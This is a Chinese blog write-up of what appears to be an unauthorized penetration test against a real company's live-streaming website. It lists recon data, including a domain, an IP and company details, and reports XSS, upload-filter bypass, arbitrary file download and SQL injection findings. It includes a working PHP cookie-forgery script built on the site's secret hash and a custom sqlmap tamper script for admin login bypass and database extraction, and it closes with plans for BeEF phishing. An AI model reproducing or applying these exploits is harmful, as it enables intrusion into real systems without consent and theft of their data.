前言
之前一直做的开发,最近准备找个渗透测试方面的工作,恶补了一波渗透的知识。于是准备实战检验一下学习成果。
信息收集
域名信息
域名没备案,whois简单查了一下也没太多有用信息
主域名:****kj.com -- 注册商新网 -- 阿里DNS
子域名
www.****kj.com
其他域名(指向的同一IP地址)
****kn.com -- 注册商GoDaddy
****jd.org -- 注册商godaddy
****ys.org -- 注册商godaddy
****sm.com -- 注册商godaddy
****hi.com -- 203.93.124.119 -- 注册商阿里 -- HICHINA(万网)DNS
WEB信息
中间件:nginx/1.20.1
开发语言:PHP 7.4.22, Adobe Flash
PHP框架:phpdoit v2.0
CMS:BCMS
有无WAF:有,自己写的过滤。
IP信息
无CDN
IP C段:150.*.*.122-126
端口信息
C段IP 122-126
21(FTP)
22(OpenSSH 7.4 (protocol 2.0))
80(直播主站)
81(直播主站)
888(宝塔phpmyadmin默认端口)
8888(宝塔)
敏感目录
后台 admin_login/index/
敏感信息
前台高权限用户 1001
后台高权限用户 admin
公司信息
技术支持:www.bonpro.net
淄博邦诺网络科技有限公司
----
上海****集团有限公司
曾用名
**企业
#采矿业#上海市#***
法定代表人: ***【执行董事】、***【董事】
统一社会信用代码: * *
电话: *
邮箱: *@qq.com
地址: 上海市****
漏洞探测&漏洞利用
888的宝塔面板的未授权漏洞已测木有漏洞。
然后打开网站一眼看上去是个直播系统。
XSS
右下角发现输入框测试XSS无果,没绕过去。当前网站目录上传的图片可以发送。
还有一个反射的xss,尝试发现有WAF。过滤了挺多标签。
但也是很好绕,用的图片XSS成功,因为是反射的XSS没过多关注。
xxx是输入点
/error/?msg=xxx
文件上传
注册账号-登录后发现有上传点
测试后发现是白名单,post的参数有一个accept: images,更改images为file后可以上传txt,rar等文件。尝试上传图片马,发现提示非法参数,把php的闭合语句?>去掉后,重新制作图片马,上传成功。
虚假的sql注入
积分下有个查询发现一个虚假的sql注入,限制数字输入。
不过爆出了sql语句、绝对路径、doitphp。
到这里似乎陷入了僵局enmmm。miko突然想起来还有js没看。
看了眼js之后发现里面有个upload和download的url。
upload是头像内个地方的上传,也是在这个js发现的可以把images改成file。
测试后发现是一个任意文件下载漏洞。可惜的是限制了目录只能下载当前网站目录和/tmp目录下面的文件。然后去下了套doitphp的源码,看了看doitphp的文档,下了一些php文件开始做代码审计。
代码审计
咳咳,虽然是第一次做代码审计,但是经过多次搜索引擎查询总算是掌握了一些MVC和php的知识。丢到seay代码审计工具大概跑一跑,好!测试了半天就一个能利用的点,还是自己已经发现的任意文件下载。然后开始通读代码,通过通读代码又利用任意文件下载漏洞下了一些php文件。审计到最后也就发现了几个sql注入的漏洞,和一个phpinfo。
信息泄露
后台写的直接就是一个action,所以url直接写后台的controller**(admin_index)和phpinfo的action(phpinfo)**就行了。
admin_index/phpinfo/
真实的SQL注入
Cookie没有任何过滤导致的SQL注入
虽然说没过滤但是Cookie是加密的,hhhc
后台的LoginController.php->function indexAction->$adminCookie['status']为true就代表管理员已经登录。
这里的Configure::get是从请求头获取cookie的
getCookie是关键函数。我们继续跟。
LoginController.php继承自PublicController.php继承自Controller.php。
最终来到了doitphp的Controller.php文件。在这里发现了getCookie函数。
这里的getCookie调用了Cookie.php的get函数,我们继续跟!
好!这里发现会反序列化调用了Encrypt.php下的decode方法的返回结果。
我们去看下他怎么加密的。
首先decode接受两个参数,一个是我们的Cookie一个是key,secretkey在Encrypt.php的上面定义了。
然后判断是不是key是不是null,如果是null,获取当前类的_key变量的值作为加密密钥。_
然后匹配加密的字符是否是base64的内些字符,如果不是就返回fasle。
然后base64解密我们的cookie。
然后判断_config数字的一些加密方法是否开启。开启了就进行解密。
经过查看发现就开启了这里面的三种加密就开启了noise。去看noise的加密算法!
_config的hash写的是sha1。sha1加密key,然后把cookie和hash的每个字符转换ascii码。
加密就把每个字符相加然后再去取模256,解密就是相减然后如果相减的结果小于0就去加256
最后返回加密或者解密后的值。
然后我们就可以构造一个序列化后的数组的cookie了,但是不急!PublicController.php里面还会判断data的admin_name和admin_pass。
进一步跟踪发现checkAdminLogin这个函数是把我们的用户名和密码丢到数据库去查询。
sql语句的where部分写这样
'xxxxxxxx WHERE admin_name="用户名" AND admin_pass="密码"
所以我们可以构造一个万能密码的sql语句。用户名写admin或者" or ""="密码写" or ""="
这里从cookie获取的admin_pass是不会进行md5加密的。而后台输入的密码是会被加密的。
<?php
// 加密后
// $string = "xm9nc7SlbJhxiKqmmaSt2Fqgw5tpnahrmXNVl5ilw1Vrk29kbd3XcpZlb1ualp/LpcWlk6WVWqCrn5qbWoRVoNdZVVV0U4Ruo2xmYm2ExZzSnqOYqZOl1VmhqmxxalqHWNTTgVqEclOHdLCw";
// 加密前
// $string = serialize(array("status"=>true, "data"=>array("admin_name"=>'" or ""="', "admin_pass"=>'" or ""="')));
$string = 'a:2:{s:6:"status";b:1;s:4:"data";a:2:{s:10:"admin_name";s:9:"" or ""="";s:10:"admin_pass";s:9:"" or ""="";}}';
// base64解密
// $string = base64_decode($string);
$hash = 'e559922b7f72808e8eaa8b51e93371b302523bd8';
$hashlen = strlen($hash);
$strlen = strlen($string);
$code = '';
// 加密
for ($i = 0, $j = 0; $i < $strlen; ++$i, ++$j) {
if ($j >= $hashlen) $j = 0;
$code .= chr((ord($string[$i]) + ord($hash[$j])) % 256);
}
echo $string;
echo "\n\n";
echo base64_encode($code);
// 解密
// for ($i = 0, $j = 0; $i < $strlen; ++$i, ++$j) {
// if ($j >= $hashlen) $j = 0;
// $temp = ord($string[$i]) - ord($hash[$j]);
// if ($temp < 0) $temp = $temp + 256;
// $code .= chr($temp);
// }
// echo $code;
// echo "\n\n";
// var_dump(unserialize($code));
?>
将构造的后的cookie替换后成功登录后台
后台没找到什么利用的点,太难了。两个上传点一个和前台的一样,另一个少了php文件或者说代码写错了。
半虚假的文件上传漏洞
从远程获取图片并且保存到本地。但是提示UploadController.php。这里的png可以改成php。
调用uploadGetAction
可以看见这边是调用UploadController里面的uploadGetAction函数。但是这个文件不存在。
然后uploadGetAction函数在哪呢,它在LibUpload.php里面躺着!
这个get_url_content是一个http请求,php的curl拓展,函数里面也没黑白名单。虽然下面会判断文件的扩展名在不在。不在就会提示获取文件失败。但是上面的saveFile的保存目录我们已经看见了。目录/时间_随机大小写字母(6位).php,所以可以生成6位的大小写字符去写个脚本或者用burp跑一遍文件名。就能getshell了。但是!!文件没了。虚假的文件上传。
web无从下手去写个tamper,用sqlmap跑跑数据库数据库看看能拿到啥有用的信息不。
tamper编写
#!/usr/bin/env python
"""
Copyright (c) 2006-2021 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def noise(payload):
payload_src = f'" or ""=""'+payload
payload_se = 'a:3:{s:6:"status";b:1;s:8:"remember";N;s:4:"data";a:2:{s:7:"account";s:5:"admin";s:8:"password";s:%d:"%s";}}'
payload = payload_se%(len(payload_src), payload_src)
hash_ = 'e559922b7f72808e8eaa8b51e93371b302523bd8'
hash_len = len(hash_)
str_len = len(payload)
code = ""
j = 0
for i in range(0, str_len):
if j >= hash_len: j = 0
code += chr((ord(payload[i]) + ord(hash_[j])) % 256)
j += 1
return encodeBase64(code, binary=False, encoding="latin-1")
def tamper(payload, **kwargs):
"""
noise -> Base64-encodes all characters in a given payload
>>> tamper("1' AND SLEEP(5)#")
'llxVeod2UrWDq3yCYGVhiA=='
"""
return noise(payload) if payload else payload
跑了一下不是root权限,是一个只有USAGE权限的用户,写shell这条路也行不通了。mysql版本是5.7.34。。之前用nmap扫的端口,没扫到mysql的端口,mysql端口也是不对外开放。
到这里似乎又陷入了僵局!(信安小白的每时每刻僵局QAQ
不!值得尝试的还有很多。
比如后台的XSS,miko还没细细的去审计,可以看看有没有存储的XSS然后去用BeEF钓个鱼啥的。
还有一些php的漏洞和mysql等等的漏洞。